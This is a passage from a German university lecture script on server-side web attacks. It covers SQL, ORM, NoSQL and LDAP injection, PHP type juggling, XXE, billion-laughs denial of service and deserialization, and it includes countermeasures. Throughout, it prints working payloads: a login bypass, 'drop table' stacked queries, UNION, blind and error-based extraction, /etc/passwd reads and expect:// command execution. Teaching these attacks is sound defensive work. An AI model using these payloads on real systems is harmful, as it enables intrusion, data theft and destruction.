Durch bösartige Benutzereingaben versuchen Angreifer nun, das Datenbank-
system zur Freigabe zusätzlicher Daten zu bringen, unbeabsichtigt Daten zu
verändern oder sogar aus dem Datenbanksystem auf das Betriebssystem aus-
zubrechen.
11.4. DATENBANK-INJECTIONS 117

11.4.1 SQL
SQL2 ist die bekannteste Abfragesprache für relationale Datenbanken. Im Zu-
ge dieser Vorlesung werden nur einfache SQL-Features benötigt. Ein Beispiel
für ein einfaches SQL Statement:

select column1, column2 from table1, table2


where column1 = 'xyz'
order by column1 asc/desc
limit 1;

In diesem Fall werden zwei Spalten column1 und column2 aus zwei Ta-
bellen table1 und table2 ausgelesen. Mittels der where-Klausel wird eine Be-
dingung zur Filterung der Daten hinzugefügt, mittels order by die Daten ent-
weder aufsteigend oder absteigend sortiert und mittels limit die Anzahl der
Datensätze auf einen Datensatz limitiert.
SQL bietet die Möglichkeit die Ausgaben zweier Queries zu einer Gesamt-
ausgabe zu kombinieren. Hierfür wird das UNION Kommando verwendet:

select column1, column2 from table1, table2


union all
select column3, column4 from table3, table4;

Dies ist nur möglich, wenn beide verwendeten SQL-Queries die idente An-
zahl von Spalten zurück liefern.

11.4.2 Arten von SQL-Injections


Die einfachste Form der SQL-Injection basiert darauf, dass die Applikation
eine String-Concatenation zur Erstellung des SQL-Ausdrucks verwendet. Der
Angreifer versucht einen Wert zu übergeben der, wenn er in den SQL-String
eingesetzt wird, zuerst den bestehenden SQL-Ausdruck beendet/schließt und
danach zusätzlich Code ausführt.
Als Beispiel wird hier ein Login verwendet, der über folgende HTTP Ope-
ration durchgeführt wird: [Link]
etec&password=pw. Der Angreifer vermutet, dass die Überprüfung des Log-
ins über eine Datenbank-Abfrage ausgeführt wird, die z.B. in Java als String
erstellt wird:
2
Structured Query Language
118 KAPITEL 11. SERVERSEITIGE ANGRIFFE

String query = "select * from users where email = '" +email+ "' and
,→ password = '" +password +"' limit 1;";

Die Email-Adresse und das Passwort wird als Teil der Datenbank-Abfrage
verwendet, wird ein Datensatz zurückgegeben wird der erste Datensatz ver-
mutlich zur Befüllung der Benutzersession verwendet. Wird kein Datensatz
zurückgegeben nimmt die Applikation an, dass der Login nicht erfolgreich
war.
Ein Angreifer würde nun z.B. folgendes Fragment als Passwort übergeben:

1' or '1'='1

Durch diesen Ausdruck würde folgendes SQL-Kommando entstehen:

String query = "select * from users where email = 'ah@[Link]' and


,→ password = '1' or '1'='1' limit 1;";

Anstatt dass die Email-Adresse und das Passwort überprüft werden, wird
nun initial die Email und das Passwort überprüft. Dabei wird wahrscheinlich
als Ergebnis false erzeugt, damit würde prinzipiell kein Datensatz zurückgegeben
werden. Der Angreifer schafft es allerdings, auch den Ausdruck 1=1 hinzu-
zufügen. Dieser ergibt immer true, durch die Oder-Verknüpfung wird der Ge-
samtausdruck true und liefert daher alle Zeilen der Tabelle als Resultat. Der
Applikationscode würde nun die erste Zeile extrahieren und mit diesem Daten-
satz die Session befüllen. Der Angreifer hat auf diese Weise das Login-System
überlistet und die Identität eines anderen Benutzers angenommen.

Stacked Queries
Die grundsätzliche Methode an eine bestehende SQL-Abfrage zusätzliche (un-
gewollte) Queries anzuhängen und dadurch Code auszuführen wird Stacked
Query genannt. Das klassische Beispiel für eine solche ist:

'; drop table users; --

Mittels des ersten Zeichens ’ wird versucht aus dem vorgesehenen SQL-
Ausdruck auszubrechen. Das Semikolon dient zum Beenden des eigentlichen
Kommandos und der Angreifer kann ein beliebiges SQL-Kommando anhängen
— in diesem Fall ein drop table Kommando, welches eine Datenbank löschen
11.4. DATENBANK-INJECTIONS 119

würde. Zum Schluss wird mit einem weiteren Semikolon der eingeschleuste
Befehlt beendet und durch die beiden Bindestriche ein Kommentar eingeleitet.
Auf diese Weise wird potentiell nachfolgender SQL-Code auskommentiert.

UNION-based SQL-Injection
Bei UNION-basierten SQL-Angriffen wird versucht mittels des UNION Kom-
mandos ein zusätzliches SELECT Statement an ein bestehendes Select-Statement
anzuhängen. Häufig wird dies verwendet, wenn eine Web-Applikation eine
Tabellen-ähnliche Datenauflistung bietet.
Beispiel: eine Webapplikation stellt eine Liste von Personen als HTML-
Tabelle dar. Ein Benutzer kann diese Liste durch Eingabe einer ID einschränken.
Es wird daher angenommen, dass die Daten der dargestellten HTML-Tabelle
durch eine SQL-Abfrage der Form:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

bereitgestellt wird. Der Parameter $id wird durch den Benutzer bereit-
gestellt. Ein Angreifer kann nun versuchen, hier eine SQL-Injection durch-
zuführen. Beispielsweise könnte dafür folgendes Fragment verwendet werden:

1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Dieses Fragment wird durch die Webapplikation für $id eingesetzt (da ID
in diesem Fall ein Zahlenwert ist, muss, verglichen mit dem Ausbruch aus
einem String-Wert, werden hier keine Quoting-Zeichen wie ’ benötigt) und
erzeugt auf diese Weise die folgende SQL-Abfrage:

SELECT Name, Phone, Address FROM Users WHERE Id=1


UNION ALL
SELECT creditCardNumber,1,1 FROM CreditCardTable

Die Tabelle wird nun initial mit den Daten des Users mit der Id 1 befüllt,
zusätzlich werden alle Kreditkartennummern der Tabelle CreditCardTable an-
gehängt (bei diesen Daten werden Spalten 2 und 3 mit der Konstanten 1
gefüllt).
Da bei einem UNION-Select die Spaltenanzahl der jeweiligen Queries ident
sein muss, muss der Angreifer initial die richtige Spaltenanzahl erraten. Dies
wird zumeist über Brute-Force Angriffe durchgeführt.
120 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Boolean-based Blind SQL Injection


Eine SQL-Injection ist auch ohne direkten Antwortkanal möglich. Ein Beispiel
hierfür sind Boolean-based blind SQL-Injections.
Ein Beispiel: gegeben eine Produktseite [Link]/product/1 die
ein Produkt anzeigt. Der Angreifer hat bereits erkannt, dass bei Eingabe von
[Link]/product/1and1=1 die Produktseite ebenso angezeigt wird und
bei [Link]/product/1and1=0 kein Produkt gefunden wird. Dadurch
besteht die Annahme, dass der Angreifer einen Ausdruck and die Produkt-Id
(1) anhängen kann und dass dieser Ausdruck auch exekutiert wird (der Aus-
druck 1=0 ergibt immer false, durch die Und-Verknüpfung mit false wird kein
Produkt mehr geliefert). Dies kann nun ausgenutzt werden, um mit einzelnen
Abfragen den Datenbankinhalt auszulesen. Beispielsweise kann der Angreifer
folgenden Ausdruck bilden:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND


,→ ASCII(SUBSTRING(username,1,1))=97

An den Suchausdruck wird also eine Substring-Abfrage hinzugefügt. Diese


extrahiert die erste Stelle des Benutzernamens, verwandelt diese über die AS-
CII -Funktion in einen ASCII-Wert und überprüft, ob die erste Stelle des Be-
nutzernamens ein A ist. Wird nun die Produktseite des Produkts 1 zurückgeliefert,
weiß der Angreifer, dass das erste Zeichen des Benutzernamens ein A ist. Wird
keine Produktseite geliefert, würde der Angreifer versuchen ob der ASCII Wert
dem Zeichen B entspricht. Durch mehrere (tausende) Anfragen kann der An-
greifer auf diese Weise die gesamte Datenbank rekonstruieren.

Time-based Blind SQL Injection


Ähnlich wie bei einer boolean based blind SQL-Injection gibt es bei dieser
Angriffsart keinen direkten Antwortkanal für die extrahierten Informationen.
Anstatt wird ein side-channel Angriff auf das Zeitverhalten der Antwort an-
gewandt.
Der Angreifer besitzt die Möglichkeit ein SQL-Fragment an eine Anfra-
ge anzuhängen und zur Exekution zu bringen. Wieder wird eine IF-Abfrage
verwendet, in dem konkreten Fall wird, falls die Abfrage erfolgreich ist, die
Antwort um 10 Sekunden verzögert:

[Link] AND
,→ IF(ASCII(SUBSTRING(username,1,1))=97, sleep(10), ‘false’))--
11.4. DATENBANK-INJECTIONS 121

Als Abfrage wird der idente “fängt der Benutzername mit A an?” ver-
wendet. Falls dies war sein sollte wird mittels sleep(10) die Antwort verzögert,
wenn nicht wird sofort geantwortet. Mittels vieler Abfragen kann der Angreifer
auf diese Weise die gesamte Datenbank extrahieren.
Im Zuge eines Time-Based Angriffs wird mehr oder weniger ein Model der
Antwortzeiten aufgebaut. Da normalerweise die eingefügte Verzögerung mini-
miert wird (um möglichst schnell Daten extrahieren zu können) ist diese An-
griffsart fehlerbehaftet und verwundbar gegenüber Netzwerk-Jitter. Falls die
Netzwerkverbindung selbst instabil ist (also Anfragen aufgrund des Netzwerks
unterschiedlich lange benötigen), können einzelne Zeichen invalid erkannt wer-
den.

Error-based Injections
Bei Error-based Injections wird absichtlich ein Fehler eingebaut um über den
ausgegebenen Fehlertext Informationen zu extrahieren.
Ein Beispiel in MySQL: es gibt in Mysql die mathematische Funktion exp
welche ab einem übergebenen Dezimalwert von ca. 260 einen Fehler ausgibt.
Ebenso gibt es den Operator ˜welcher ein Bitweises Kompliment bildet. Wird
dieser Operator auf das Ergebnis eines Selects angewandt, ist das Ergebnis
eine sehr große Zahl.
Ein Angreifer kann dieses Verhalten für eine Datenextraktion nutzen, z.B.:

exp(~(select * from (select user()) x)

Es wird also in einem sub-select die Funktion user() aufgerufen, die den
aktuellen Benutzernamen zurück gibt. Auf dieses Ergebnis wird ein bitweises
Kompliment angewandt, es wird eine große Zahl erzeugt; diese Zahl wird dann
an die exp-Funktion übergeben und wird einen Fehler werfen.
Die generierte Fehlermeldung:

mysql>select exp(~(select * from (select user()) x ));


ERROR 1690(22003): DOUBLE value is out of range in'exp(~((select
,→ 'root@localhost' from dual)))'

In der Fehlermeldung wurde allerdings der innere SQL-Ausdruck exeku-


tiert, dadurch wird der Benutzername root@localhost ausgegeben und eine
Datenextraktion ist erfolgt.
Dies ist ein weiterer Grund, warum auf einer Webseite keine detaillierten
Fehlermeldungen ausgegeben werden sollten.
122 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Ausbruch aus dem Datenbanksystem


Eine weitere Möglichkeit des Angreifers ist es aus dem Datenbanksystem auf
das Dateisystem auszubrechen. Dadurch kann er mit den Rechten des Da-
tenbankbenutzers entweder auf Dateien am Datenbankserver zugreifen oder
besitzt dadurch sogar Shell-Access auf das System. Dies ist einer der Gründe,
warum Datenbanksysteme immer mit einem eigenen Benutzer laufen sollten.
Ein bekanntes Beispiel für dieses Problem ist die Funktion xp cmdshell
bei Microsoft SQL-Server welche die Ausführung von Programmen über SQL
erlaubt. Mittlerweile ist diese Funktion aus Sicherheitsgründen deaktiviert, bei
älteren Microsoft SQL-Server Versionen kann allerdings diese Funktion mittels
einer SQL-Injection ebenso aktiviert werden.
Ein Beispiel aus dem Open-Source Umfeld wäre PostgreSQL, welches es
Datenbankadmins erlaubt, neue Tabellen zu erstellen und diese mit Daten aus
dem Dateisystem zu befüllen:

postgres-# CREATE TABLE temp(t TEXT);


postgres-# COPY temp FROM '/etc/passwd';
postgres-# SELECT * FROM temp limit 1 offset 0;

MySQL bietet auch die beiden Zusätze into outfile bzw. into dumpfile an.
Damit wird das Resultat einer SQL-Query in eine Datei gespeichert. Falls der
Datenbankserver mit einer hohen Berechtigunggstufe läuft (z.B. als root oder
www-data Benutzer) kann dies verwendet werden um Dateien im Filesystem
(z.B. im Web-Root) abzulegen und auf diese Weise eine Webshell hochzuladen
(diese würde dann durch den Angreifer über den Webserver geöffnet werden).

11.4.3 Gegenmaßnahmen
Da das Grundproblem von SQL-Injections die Erstellung von dynamischen
SQL-Kommandos basierend auf bösartigen Benutzereingaben ist, wäre das
Escapen der Eingabe die erste mögliche Gegenmaßnahme. Dabei werden die
Benutzereingaben so maskiert, dass sie gefahrenlos per String-Concatenation
verwendet werden können. Da diese Lösung fehleranfällig und Datenbank-
spezifisch ist, sollte sie so weit wie möglich vermieden werden.
Ein besserer Lösungsansatz für SQL-Injection ist die Verwendung von pre-
pared statements. Bei diesen wird eine SQL-Abfrage mittels einer API ge-
baut (und mit Daten befüllt) anstatt “nur” Strings zu verknüpfen. Aufgrund
der zusätzlich bereitgestellten Information ist die Datenbankbibliothek in der
Lage, die benutzer-bereitgestellten Daten in einer Form einzusetzen, welche
SQL-Injections verhindert.
11.4. DATENBANK-INJECTIONS 123

Ein Beispiel in Java:

String custname = [Link]("customerName");


String query = "SELECT account_balance FROM user_data WHERE user_name = ?";

PreparedStatement pstmt = [Link](query);


[Link](1, custname);

ResultSet results = [Link]();

Die dynamische SQL-Query befindet sich im String query und beinhal-


tet einen dynamischen Parameter der mit einem ? markiert wird. Durch die
Methode setString wird nun der 1te Parameter auf den Wert der Variable
custname gesetzt und auf diese Weise die Benutzereingabe in einer sicheren
Art und Weise in die SQL-Query eingebaut.
Ein weiteres Beispiel in PHP unter Verwendung von PDOs:

$id = 1;
$sth = $DBH->prepare("SELECT * FROM juegos WHERE id = :id");
$sth->bindParam(':id', $id, PDO::PARAM_INT);
$STH->execute();

Bei diesem Beispiel werden die dynamisch inkludierten Daten mittels ei-
nes Platzhalters (:id ) identifiziert und mittels der Methode bindParam gesetzt.
Diese Art der Zuweisung hat den Vorteil, dass :id innerhalb der Query an meh-
reren Stellen gesetzt werden kann. Ebenso wird durch das Hinzufügen eines
weiteren dynamischen Parameters die Position der dynamischen Parameter
nicht verändert3 .
Ein Problem mit prepared statements ist, dass nicht alle Elemente einer
SQL-Abfrage auf diese Weise dynamisch befüllt werden können. Häufige Aus-
nahmen sind:

ˆ Tabellennamen

ˆ Spaltennamen

ˆ die Sortierrichtung (ASC, DESC )


3
Würde man die ? -basierte Methode verwenden, muss man bei jeder Änderung des
Query-Strings überprüfen, ob die Reihenfolge der dynamischen Parameter ident geblieben
ist.
124 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Falls diese Felder befüllt werden müssen, wird empfohlen die Applikations-
logik so zu bauen, dass über die Eingabe erkannt wird, welches Feld gewählt
wurde und basierend darauf ein statischer String zum Bauen der Query ver-
wendet werden. Auf diese Weise wird vermieden, dass eine Benutzereingabe
direkt in den Query-String eingebaut wird. Ebenso sollte bei einer solchen
Konstruktion sowohl eine rigide Whitelist als auch Escaping verwendet wer-
den.
Ein Vorteil von Prepared Statements ist, dass die Absicherungslogik Teil
der Applikationslogik ist. Andere Methoden (wie z.B. Stored Procedures)
verschieben die Absicherung direkt in den Datenbankserver. Dabei besteht
das Problem, dass z.B. Anwendungsentwickler annehmen könnten, dass ge-
wisse Datenbank-Funktionen sicher implementiert wurden und Datenbank-
Entwickler annehmen könnten, dass Daten bereits durch die Applikations-
entwickler abgesichert wurden. Hierdurch kann es zu Diskrepanzen bei der
Absicherung kommen.
Eine weitere Gegenmaßnahme sind Stored Procedures. Dies sind Funktio-
nen die im Datenbanksystem abgelegt und von der Applikation aufgerufen wer-
den. Eine früher häufig genutzte Sprache zum Erstellen von Stored Procedures
ist PL/SQL, mittlerweile können Stored Procedures auch in “normalen” Pro-
grammiersprachen entwickelt werden. Sie besitzen die gleichen Probleme wie
applikatorische Abfragen: falls eine String-Verkettung verwendet wird, können
SQL-Injections durchgeführt werden. Stored Procedures sind aber eher auf
die Verwendung von Sprachmustern ausgelegt, die Injection-Angriffe vermei-
den (ähnlich wie Prepared Statements) und da sie meistens von Datenbank-
Spezialisten geschrieben werden, sind sie meistens sicher implementiert. Aus
diesem Grund werden Stored Procedures häufig als Gegenmaßnahme zu SQL-
Injections angeführt, auch wenn dies potentiell vom implementierenden Pro-
grammierer abhängig ist. Ein Nachteil von Stored Procedures ist, dass der
Applikationscode dadurch auf den Applikationsserver und den Datenbankser-
ver aufgeteilt wird und dadurch potentiell schwerer wartbar wird.

11.4.4 Object-Relational Mapping


Object-Relational Mapping (ORM) wird verwendet um basierend auf einer re-
lationalen Datenbank eine virtuelle Objektdatenbank zu erstellen. Dabei wird
eine ORM-Software verwendet, um aus Datenbank-Zeilen eine Repräsentation
der Daten als Programmiersprachen-Objekt herzustellen. Datenabfragen und -
veränderungsoperationen werden anschließend auf dieser Objekt-Repräsentation
durchgeführt und intern als Datenbankbefehle ausgeführt.
11.4. DATENBANK-INJECTIONS 125

Ein häufiges Pattern in diesem Umfeld ist das ActiveRecord-Pattern. Bei


diesem entspricht eine Datenbanktabelle einem Objekttypen und eine Zeile
innerhalb der Datenbank wird zu einer [Link] würde
aus der Datenbanktabelle users die Klasse User gebildet werden. Eine Zeile
der Datenbank würde zu einer Objektinstanz und z.B. die Spalte vorname
würde zum Feld vorname des Objekts werden.
Bei den meisten ORMs werden Abfragen innerhalb der Zielprogrammier-
sprache abgebildet, hier ein Beispiel in JavaScript unter Verwendung des
ORMs sequalize:

[Link]({
limit: '1',
})

In dem Beispiel wird ein Objekt des Typs Items erstellt. Problematisch
bei ORMs ist, dass im Hintergrund zumeist SQL-Kommandos erstellt werden
und daher SQL-Injections weiterhin möglich sind, hier ein Beispiel:

[Link]({
limit: '1; DELETE FROM Items WHERE 1=1; --',
})

An den Limit-Parameter wird eine Stacked-Query angehängt und auf diese


Weise eine SQL-Injection ausgeführt. Anhand diese Beispiels kann erkannt
werden, das ORMs kein Allheilmittel für SQL-Injections sind.

11.4.5 NoSQL-Injections
In den letzten Jahren werden vermehrt NoSQL-Datenbanken eingesetzt. Die-
se verwenden nicht SQL als Abfragesprache, sondern meistens eigenständige
Abfragesprachen oder exekutieren JavaScript-Snippets als Query. Hier ein Bei-
spiel in MongoDB:

[Link]( { active: true, $where: function() { return


,→ [Link] - [Link] < $userInput; } } );

Bei diesem Beispiel wird als Query der aktuellen Kontostand berechnet
(credits - debits), falls dieser unter einer benutzerdefinierten Schranke liegt
($userInput) wird der behalten, ansonsten ausgefiltert. Die Abfrage ist als
JavaScript implementiert und nicht als SQL.
126 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Die grundsätzliche Problematik einer Injection bleibt ident. In dem gewählten


Beispiel wird z.B. die Benutzereingabe nicht escaped, ein Angreifer kann daher
auf diese Weise Schadcode einfügen:

"(function(){var date = new Date(); do{curDate = new


,→ Date();}while(curDate-date<10000); return [Link]();})()"

Hier wird nun innerhalb der Abfrage eine Javascript-Funktion definiert


und sofort danach aufgerufen. Die Funktion macht nichts anderes, als 10 Se-
kunden lang eine Endlosschleife aufzurufen. Falls der MongoDB-Server nach
dem Absetzen dieser Query für 10 Sekunden nicht antwortet und eine CPU
zu 100% ausgelastet ist, hat man also eine datenbankseitige Injection erreicht.
Wie man an dem Beispiel sehen kann, ist der alleinige Einsatz von NoSQL-
Datenbanken nicht ausreichend um eine Datenbank-Injection zu vermeiden.

11.5 LDAP-Injections
Das Lightweight Directory Access Protocol (LDAP) ist ein standardisiertes
Protokoll welches aktuell häufig für den Zugriff auf Identifikations und Authen-
tikationsdaten verwendet wird. Ein Angreifer kann hier, ähnlich zu Datenbank-
Injections, das Verketten von Strings als Angriffsvektor verwenden.
LDAP verwendet Key-Value Pairs um Daten zu speichern, bzw. zu iden-
tifizieren. Ein Beispiel:

(cn=Andreas Happe, ou=IT Security, dc=technikum-wien, ec=at)

Abfragen werden mit Hilfe einiger Sonderzeichen gebildet, diese müssen


innerhalb von Datenfeldern nicht maskiert werden:

* ( ) . & - _ [ ] ` ~ | @ $ % ^ ? : { } ! '

Abfragen werden in prefix Notation geschrieben, folgende Abfrage sucht


alle Namen, welche mit Andreas beginnen:

(cn=Andreas*)

Mehrere Abfragen können mit logsischen Operatoren verknüpft werden,


z.B. sucht folgendes nach einem Namen der mit ‘Andreas” beginnt und mit
‘Happe” endet:
11.6. TYPE-JUGGLING ANGRIFFE 127

(&(cn=Andreas*)(cn=*Happe))

Verwendet ein Entwickler eine ungesicherte String-Concatination zur Er-


stellung einer Abfrage können, analog zu SQL-Injections, Fehler geschehen.
Beispiel: wird ein Login über Benutzername und Passwort überprüft könnte
die dabei entstehende Abfrage folgend aussehen:

(&(userID=happe)(password=trustno1))

Was passsiert, wenn der Angreifer *)(userID=*))(—(userID=* als Benut-


zername eingibt? Die resultierende Abfrage wäre:

(&(userID=*)(userID=*))(|(userID=*)(password=anything))

Es entsteht eine Abfrage mit zwei Teilen die Und-verknüpft werden. Der
erste Part ist immer war (Tautologie). Aufgrund der Oder-Verknüpfung ist
auch der zweite Part immer war, in Summe ist der entstehende Ausdruck
immer wahr und somit kann der Login umgangen werden.
Weiter Informationen können dem Blog der Netsparker-Homepage4 ent-
nommen werden.

11.6 Type-Juggling Angriffe


Type Juggling Angriffe können in mehreren Programmiersprachen auftreten,
besonders “bekannt” ist dieser Angriffsvektor in PHP. Diese Angriffe sind
möglich, wenn durch eine automatische, implizite Typkonvertierung das er-
wartete Resultat einer Operation verfälscht wird. In PHP liegt das Grund-
problem in den beiden Vergleichsoperatoren == (loose) und === (strict),
ersterer führt automatisch Typkonvertierungen durch und wird leider häufig
anstatt des sicheren zweiten Operators verwendet.
Wird z.B. server-seitig in PHP ein String mit einer Zahl verglichen, wird
der String automatisch in eine Zahl konvertiert, dies inkludiert Hex- und
Octal-Darstellungen von Zahlen:
4
[Link]
nt/
128 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Operant A Operant B Ergebnis


”0000” int(0) true
”0e42” int(0) true
”1abc” int(1) true
äbc” int(0) true
”0xF” ”15” true
”0e1234” ”0e5678” true

Dies kann verwendet werden, um Vergleiche “kurzzuschließen”, wie fol-


gendes Beispiel (aus einer älteren WordPress-Version) zeigen soll. Hier wird
die Benutzerauthorisierung über einen berechneten MAC durchgeführt. Der
Anwender setzt mehrere Werte über Cookies, die Integrität dieser Werte wird
durch einen berechneten MAC verifiziert. Zur Berechnung des MACs wird
ein geheimer Schlüssel (key in dem Beispiel) verwendet, der nie den Server
verlässt. Dies wird vereinfacht durch folgenden server-seitigen Code umge-
setzt:

$hash = hash_mac('md5', $username . '|' . $expiration, $key);


if ($hmac != $hash) {
// bad cookie, give error
} else {
// accept operation
}

username, expiration und hmac werden aus dem Cookie gelesen und können
dadurch durch den Angreifer bestimmt werden. Ein Angreifer kann nun user-
name auf Administrator, und hmac auf den Wert 0 setzen. Nun kann er einen
Brute-Force Angriff ausführen, bei dem das Ablaufdatem (expiration) au fei-
nen zufälligen Wert gesetzt wird. Der Angreifer hofft, dass bei einem der Zu-
griffe zufällig als Hash ein Wert generiert wird, der mit ”0e. . . ”beginnt, da
hier automatisch eine Konvertierung des Wertes auf 0 passieren würde. Dies
entspricht dem übergebenen hmac (der ebenso 0 ) ist und eine server-seitige
Administratoren-Identität ist übernommen.
11.7. XML-BASIERTE ANGRIFFE 129

11.7 XML-basierte Angriffe


Werden von einem Webserver XML-Daten entgegengenommen und server-
seitig bearbeitet, entstehen mehrere potentielle Angriffsvektoren. Zwei davon,
XML External Entities und XML-basierte DoS-Angriffe, werden in diesem Ka-
pitel betrachtet. Beide basieren darauf, dass XML ein komplexes Datenformat
besitzt welches durch einen ebenso komplexen Parser serverseitig analysiert
werden muss.

11.7.1 XML External Entities


XML besitzt die Möglichkeit direkt innerhalb des XML-Dokuments Typdefi-
nitionen zu inkludieren. Diese DTD (Document Type Definition) beginnt mit
dem DOCTYPE Tag und kann auch External Entities definieren. Diese Exter-
nal Entities sind Verweise auf externe Datenquellen, diese werden durch den
Parser automatisch in das XML-Dokument eingefügt.
Ein Beispiel für einen XML External Entities Angriff der auf die Extraktion
lokaler Daten zielt:

<?xml version="1.0" encoding="ISO-8859-1"?>


<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "[Link]
]>
<foo>&xxe;</foo>

Bei diesem Beispiel wird ein neues Element (foo), und als möglicher Wert
für dieses Element die externe Datenquelle /etc/passwd als Referenz &xxe
definiert. Anschließend wird dieser Elementtyp auch sofort samt der Referenz
verwendet. Erlaubt ein Server das Parsen dieses XML-Dokumentes würde er
nun diese Datei auslesen, deren Inhalt in das XML Dokument einfügen und
ggf. das ausgefüllte Dokument an den Client zurückgeben. Somit kann der
Angreifer auf eine Datei, auf die er eigentlich keinen Zugriff besitzen sollte
mit den Rechten des Applikationsservers zugreifen.
Ebenso kann auf eine Netzwerkadresse verwiesen werden:

<?xml version="1.0" encoding="ISO-8859-1"?>


<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "[Link] >
]>
<foo>&xxe;</foo>
130 KAPITEL 11. SERVERSEITIGE ANGRIFFE

In diesem Beispiel kann der Angreifer den XML-verarbeitenden Server


dazu bringen, mittels HTTP GET auf die übergebene URL ([Link]
[Link]/[Link]) zuzugreifen. Dadurch ergeben sich mehrere An-
griffsmöglichkeiten:

ˆ Der Angreifer kann den Webserver zum “Besuch” einer Webseite brin-
gen, bei diesem Besuch wird zumeist auch die öffentliche IP-Adresse des
Webservers auf dem besuchten Webserver vermerkt. Bei Inhalten die
z.B. gegen das Verbotsgesetz verstoßen kann dies negative Publicity für
den Betreiber des XML-verarbeitenden Webservers bewirken.

ˆ Da der Zugriff vom XML-verarbeitenden Server ausgeht, kann der An-


greifer einen HTTP GET Request auf interne Server absetzen, die an-
sonsten durch eine initiale Firewall blockiert gewesen wären.

ˆ Der Angreifer kann ebenso auf localhost, sprich dem eigenen Server, zu-
greifen. Häufig werden interne Administrationsprogramme so konfigu-
riert, dass diese nur auf Localhost lauschen (als Sicherheitsmassname
um remote Angreifern den Zugriff zu unterbinden). Im Zuge eines XML
External Entity basierten Angriffs kann ein Angreifer diesen Schutz aus-
hebeln und direkt auf localhost zugreifen.

ˆ Bei einigen Protokollen (http, smb, cifs) werden automatisch Tokens


und Credentials vom XML-verarbeitenden Server aus zum Zielserver
verschickt. Ein Angreifer kann dies z.B. missbrauchen um bei einem
Windows-basierten Server via SMB NTLM-Hashes zu extrahieren und
gegen diese offline einen Brute-Force Angriff durchzuführen.

Ein XML External Entity kann auch auf virtuelle Adressen verweisen.
So wird z.B. vom PHP XML Parser als Schema expect angeboten. Bei die-
sem Schema wird die übergebene URL als Systemkommando ausgeführt und
dessen Ergebnis in das XML-Dokument eingefügt. Ein Angreifer kann dies
missbrauchen um Systemkommands (Command Injection) auszuführen:

<?xml version="1.0" encoding="ISO-8859-1"?>


<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >
]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
11.7. XML-BASIERTE ANGRIFFE 131

In diesem Fall wird als Benutzername die Ausgabe des UNIX-Systemkommandos


id eingefügt.

11.7.2 Gegenmaßnahmen
Die bevorzugte Gegenmaßnahme ist es, den verwendeten Parser so zu kon-
figurieren, dass er keinen Zugriff auf XML External Entities zulässt. Häufig
wird auch die Verwendung “einfacherer” Dokumentenformate als Gegenmaß-
nahme vorgeschlagen: dies ist allerdings IMHO nicht der beste Weg, da auch
die Parser einfacher Dokumentenformate (wie z.B. CSV und JSON) ebenso
Schwachstellen besitzen.

11.7.3 Denial-of-Service Attacks


Ein weiteres Problem von External Entities ist es, dass hierdurch schnell tie-
fe und breite Datenstrukturen aufgebaut werden können. Versucht ein Parser
nun diese Datenstruktur in-memory zu bauen, kann ein Parser sehr schnell out-
of-memory gehen und dadurch einen Speicher-basierten DoS-Angriff durchführen.
Ein bekanntes Beispiel sind Million-Laugh Angriffe:
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
<!ENTITY LOL2
,→ "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3
,→ "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL4
,→ "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5
,→ "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
<!ENTITY LOL6
,→ "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7
,→ "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
<!ENTITY LOL8
,→ "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9
,→ "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>

Bei dieser Angriffsart wird LOL9 durch 10 Elemente des Types LOL8
ersetzt. Jedes dieser 10 LOL8 Elemente wird mit mit 10 LOL7 Elementen ge-
132 KAPITEL 11. SERVERSEITIGE ANGRIFFE

baut, etc. In Summe erzeugt dieses DTD rund drei Milliarden LOL Elemente.
Falls ein Parser versucht diese im Arbeitsspeicher zu erstellen, wird dieser mit
hoher Wahrscheinlichkeit nicht ausreichend sein.

11.8 Serialisierungsangriffe
Die Serialisierung dient dazu, aus einem Objekt einer Programmiersprache
zur Laufzeit eine Textrepresentation zu erstellen. Diese kann dann gespei-
chert oder übertragen werden. Zu einem späteren Zeitpunkt kann aus dieser
Textrepresentation wieder ein Programmiersprachen-Objekt erstellt und diese
innerhalb einer Webapplikation verwendet werden.
Das grundsätzliche Problem ist, dass ein Angreifer das serialisierte Doku-
ment abfangen und modifizieren kann. Auf diese Weise kann er das wieder-
erstellte Objekte indirekt modifizieren oder auch während (oder nach) der
Deserialisierung Schadcode zur Ausführung bringen.
Hier ein einfaches Beispiel eines serialisierten Objekts in PHP (als auch ei-
nes modifizierten serialisierten Objekts). Die Annahme ist, dass ein Webserver
die Daten des aktuellen Benutzers serialisiert, diese in einer Browser-Session
client-seitig speichert und bei jedem Client-Zugriff das de-serialisierte Objekt
verwendet um wieder das User-Objekt zu bauen:

# Serialisiertes Objekt
